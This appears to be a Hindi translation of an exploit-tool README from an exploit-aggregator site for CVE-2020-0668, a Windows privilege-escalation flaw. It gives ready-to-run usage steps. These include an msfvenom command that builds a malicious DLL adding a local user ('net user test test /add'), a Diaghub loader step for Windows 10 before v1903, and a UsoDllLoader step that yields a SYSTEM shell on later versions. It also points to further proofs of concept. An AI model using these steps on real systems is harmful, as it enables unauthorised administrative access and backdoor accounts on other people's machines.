Exploit for CVE-2020-0668

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YCDXSB-CVE-2020-0668
# CVE-2020-0668

> CVE-2020-0668 एक्सप्लॉइट को संस्करण < win10 v1903 और संस्करण >= win10 v1903 के लिए काम करने योग्य बनाएं

## Diaghub एक्सप्लॉइट (< v1903)

powershell एक्सप्लॉइट Diaghub के साथ संस्करण < win10 v1903 पर काम करता है।

### उपयोग

  * STEP 1：msfvenom के साथ `evil.dll` जनरेट करें 
    * उदाहरण के तौर पर एक उपयोगकर्ता जोड़ें ： `msfvenom -p windows/x64/exec CMD="net user test test /add" -f dll > evil.dll`
  * STEP 2：powershell के साथ `exp.ps1` निष्पादित करें
  * STEP 3：dll लोड करने और उपयोगकर्ता जोड़ने के लिए `Diaghub.exe C:\ProgramData evil.dll` निष्पादित करें।



![Diaghub](https://assets.kitploit.com/production/public/readmes/34802/5e16b94fe48370a35794479ca77d364c6adc083bbb2cd7a4888ad9f106880aa4.png)

  * Diaghub



## UsoDllLoader एक्सप्लॉइट (>= v1903)

powershell एक्सप्लॉइट UsoDllLoader के साथ संस्करण >= win10 v1903 पर काम करता है।

### उपयोग

  * STEP 1 : powershell के साथ `exp.ps1` निष्पादित करें
  * STEP 2 : सिस्टम शेल प्राप्त करने के लिए `UsoDllLoader.exe` निष्पादित करें



![एक्सप्लॉइट](https://assets.kitploit.com/production/public/readmes/34802/849028168d65e250c97c5bddc8f7313b13afcdcc7308cd5f05709bb08464ed60.png)

  * UsoDllLoader



## अन्य Exp या PoC

### SysTracingPoc Exp

SysTracingPoc का x86 रिलीज़ संस्करण issue के लिए，एक्सप्लॉइट UsoLoadDll के कारण संस्करण >= win10 v1903 पर काम करता है।

  * SysTracingPoc



### RedCursorSecurityConsulting PoC

एक .net PoC। यदि आप `C:\Windows\System32\evil.dll` को देखें और इसे `evil.txt` के रूप में नाम बदलें।

आप पाएंगे कि यह dll फ़ाइल नहीं है। इसमें केवल ट्रेसिंग लॉग है।

  * CVE-2020-0668



### Nan3r PoC

एक powershell PoC। evil.dll में भी केवल ट्रेसिंग लॉग है।

  * CVE-2020-0668